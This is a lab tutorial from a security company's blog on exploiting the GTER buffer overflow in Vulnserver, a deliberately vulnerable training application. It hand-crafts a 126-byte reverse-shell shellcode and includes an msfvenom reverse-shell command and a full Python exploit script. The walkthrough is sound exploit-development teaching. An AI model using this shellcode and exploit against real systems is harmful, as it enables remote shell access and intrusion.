Table of contents

Title
Title
Table of content
Table of contents
Table of contents
Title
Title
Title

Attacks

GTER exploitation reusing socket stack: Every byte counts

Andres Roldan

VP of Hacking

Updated

Jun 12, 2020

15 min

This is the third article on the series of exploiting Vulnserver, a VbD (Vulnerable-by-Design) application in which you can practice Windows exploit development.

In our previous post, we successfully exploited the GTER command using a technique called Egghunting or Egghunter.

Using an egghunter was required because we had a reduced buffer to fit a shellcode, as generated by msfvenom and other tools.

In this post, we will use a manually carved shellcode that will harness instructions that are already loaded on Vulnserver, allowing us to reduce the final length of our payload.

Reverse shellcode X-ray

A reverse shellcode is basically a series of Windows API function calls arranged in a delicate order to make a victim machine connect back to an attacker machine issuing a Windows shell, which is commonly an instance of cmd.exe.

The order of execution of a fully crafted shellcode is the following:

  1. Call WSAStartup() to load the needed WinSock DLLs. Use a call to LoadLibraryA underneath.

  2. Call socket() or WSASocketA() to bind a new socket handle.

  3. Call connect() or WSAConnect() to establish a connection to the attacker machine.

  4. Call CreateProcessA(), which calls cmd.exe and where the STDIN, STDOUT, and STDERR are redirected to the previously generated socket handle.

However, if we are exploiting a TCP/IP server like Vulnserver, chances are that the 'WinSock' DLL library is already loaded and initialized. That means that we can spare WinSock rutines initialization from our shellcode that can save us a great amount of bytes. Every byte counts.

As a reference, let’s create a reverse shellcode using msfvenom:

msfvenom.

$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.20 LPORT=4444 EXITFUNC=thread -f raw -o /dev/null -b '\x00'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-]

This shellcode is 351 bytes long. And, if you remember on our previous post, we only had around 144 bytes to play.

The whole idea of reusing instructions is to minimize the resultant shellcode.

To do that, we need to know what functions need to be called, with what parameters, and translate that into Assembler language to then convert it into our shellcode, keeping in mind to avoid the null bytes that would lead to making our shellcode unusable. It sounds harder than it really is.

With that in mind, let’s look at the signatures of the needed functions:

WSASocketA()

WSASocketA() signature.

SOCKET WSAAPI WSASocketA(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
)

If we are going to write this in Assembler, we must remember that in the x86 architecture the functions are called in a very specific way:

  1. The parameters are pushed to the stack on reverse order.

  2. We call the required function.

  3. That function will store the returned value on EAX.

For example, the structure for calling WSASocketA function is as follows:

  1. Push dwFlags parameter to the stack.

  2. Push g parameter to the stack.

  3. Push lpProtocolInfo parameter to the stack.

  4. Push protocol parameter to the stack.

  5. Push type parameter to the stack.

  6. Push af parameter to the stack.

  7. Call WSASocketA().

  8. Retrieve the return value of WSASocketA() from EAX which is the resulting socket handle.

We also need to know the exact address of the WSASocketA() on the system. Normally, those function addresses won’t change much on a specific version of Windows but will likely change over different updates, so keep that in mind when creating custom shellcodes.

For retrieving the addresses of functions on the current OS, you can use the arwin tool:

arwin finding WSASocketA().


Ok, with all the required information, we can proceed to write some Assembler. We need to get a socket handle that can be used by a TCP connection. With that in mind, we can write the call to WSASocketA():

WSASocketA() in ASM.


Nice, we stored the socket handle in the ESI register that we will need in the forthcoming functions.

connect()

The connect() call will create the connection back to the attacker using the socket handle generated by WSASocketA that we stored in ESI:

connect() signature.

int WSAAPI connect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen
)

The sockaddr parameter is in turn:

struct sockaddr {
        ushort  sa_family;
        char    sa_data[14];
}

Get the address of connect():

arwin finding connect().


Now that we know the structure of the connect() function call and the address of the function, we can write it in Assembler:

connect() in Assembler.


Note that the attacker IP address parameter contains a null byte, which will stop the injection of the payload. To overcome that, we can add a static value to that address, subtract it again, and push the result. This will be the final connect() payload:

connect() in Assembler.


CreateProcessA()

Now comes the final function CreateProcessA(), which is responsible for creating an instance of the cmd.exe command. We also need to point the STDIN, STDOUT and STDERR descriptors to our socket handle to make the resultant shell interactive for us.

CreateProcessA() signature.

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
)

We need to fill the _STARTUPINFOA structure. Luckily for us, most of the parameters are NULL:

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA,

And the _PROCESS_INFORMATION is even easier as all the fields can be NULL:

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION,

Get the address of CreateProcessA():

arwin finding CreateProcessA().


In Assembler, the call to CreateProcessA() will look like this:

CreateProcessA() in Assembler.


Putting it all together

Our final shellcode will be this:

shellcode.asm.


We can compile this using nasm:

nasm compilation.

And obtain the resulting shellcode with:

$ for i in $(objdump -d shellcode.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x6a\x8b\xab\x71
\xff\xd3\x96\xbb\x15\xfe\x55\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c
\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb\x07\x4a\xab\x71\xff
\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52
\x31\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x80\xc2
\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53
\x4b\x53\x53\x51\x53\xbb\x6b\x23\x80

As you can see, the resulting shellcode is only 126 bytes long and will nicely fit on our buffer without the need to use egghunters.

Update our exploit

Now that we have our manually created shellcode, we can update our previous exploit.

We will remove the egghunter and the previous shellcode and will include our custom shellcode. Let’s see how it looks now:

exploit-socketreuse.py.

import socket
import struct

HOST = '192.168.0.29'
PORT = 9999

CUSTOM_SHELL = (
    b'\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43' +
    b'\x53\xbb\x6a\x8b\xab\x71\xff\xd3\x96\xbb\x15\xfe\x55' +
    b'\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c\x31' +
    b'\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb' +
    b'\x07\x4a\xab\x71\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb' +
    b'\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0' +
    b'\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52' +
    b'\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52' +
    b'\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53' +
    b'\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3'
)

PAYLOAD = (
    b'GTER /.:/' +
    CUSTOM_SHELL +
    b'A' * (147 - len(CUSTOM_SHELL)) +
    # 625011C7 | FFE4 | jmp esp
    struct.pack('<L', 0x625011C7) +
    # JMP to the start of our buffer
    b'\xe9\x64\xff\xff\xff' +
    b'C' * (400 - 147 - 4 - 5)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.recv(128)
    print('Sending payload...')
    fd.sendall(PAYLOAD)
    print('Done.')

It looks simpler! Now, run it to see what happens:

Reverse connection

Uhmmm, we got the reverse connection but no shell!

Let’s see what is going on:

Verification

As we can see, several things have happened:

  1. Our buffer was correctly delivered.

  2. The JMP ESP instruction was successfully triggered.

  3. The jump backward occurred.

  4. And we landed at the start of our custom shellcode.

However, if you look carefully at this image:

ESP register

We can see that the ESP register is only 24 bytes below the end of our custom shellcode. That means that with every PUSH performed on our custom shellcode, that pointer will get closer to it and start overwriting it. That’s not good news.

This graph illustrates the issue:

Frames graph

As the execution flows towards a higher memory address, the stack grows backward and will eventually overwrite our shellcode.

However, if you look at the image again, you can see that the EAX register points to the GTER /.:/ string, which is above our shellcode.

All that’s left to do is align the stack to point to that location, and it’s done easily with two instructions:

Align stack.


The first instruction will push the current value of EAX to the stack, and the second will pop back that value to the ESP register, moving the stack pointer above our shellcode, protecting it from being overwritten.

We can use nasm_shell.rb from Metasploit to get the opcodes of those instructions:

nasm_shell.


Ok, now we can add those instructions to our exploit and see what happens:

exploit-socketreuse.py.

import socket
import struct

HOST = '192.168.0.29'
PORT = 9999

CUSTOM_SHELL = (
    b'\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43' +
    b'\x53\xbb\x6a\x8b\xab\x71\xff\xd3\x96\xbb\x15\xfe\x55' +
    b'\x69\x81\xeb\x55\x55\x55\x55\x53\x66\x68\x11\x5c\x31' +
    b'\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x16\x53\x56\xbb' +
    b'\x07\x4a\xab\x71\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb' +
    b'\x08\x53\x89\xe1\x31\xd2\x56\x56\x56\x52\x52\x31\xc0' +
    b'\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52' +
    b'\x52\x52\x80\xc2\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52' +
    b'\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x53' +
    b'\x51\x53\xbb\x6b\x23\x80\x7c\xff\xd3'
)

PAYLOAD = (
    b'GTER /.:/' +
    # Align stack to avoid overwrite our shellcode
    b'\x50' +           # PUSH EAX
    b'\x5c' +           # POP ESP
    CUSTOM_SHELL +
    b'A' * (147 - 2 - len(CUSTOM_SHELL)) +
    # 625011C7 | FFE4 | jmp esp
    struct.pack('<L', 0x625011C7) +
    # JMP to the start of our buffer
    b'\xe9\x64\xff\xff\xff' +
    b'C' * (400 - 147 - 4 - 5)
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.recv(128)
    print('Sending payload...')
    fd.sendall(PAYLOAD)
    print('Done.')

And execute the exploit again:

Shell obtained

Whooo! We got our shell again!

You can download the final exploit here

Conclusion

This time I wanted to show that there are always ways to overcome harsh exploitation environments, just by trying harder.

References

  1. Metasploit block_shell

  2. WSASocketA function

  3. connect function

  4. CreateProcessA function

Get started with Fluid Attacks' PTaaS right now

Tags:

vulnserver

training

exploit

windows

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Meet us at RSA Conference™ 2025 at booth N-4204.

Book a demo on-site

Meet us at RSA Conference™ 2025 at booth N-4204.

Book a demo on-site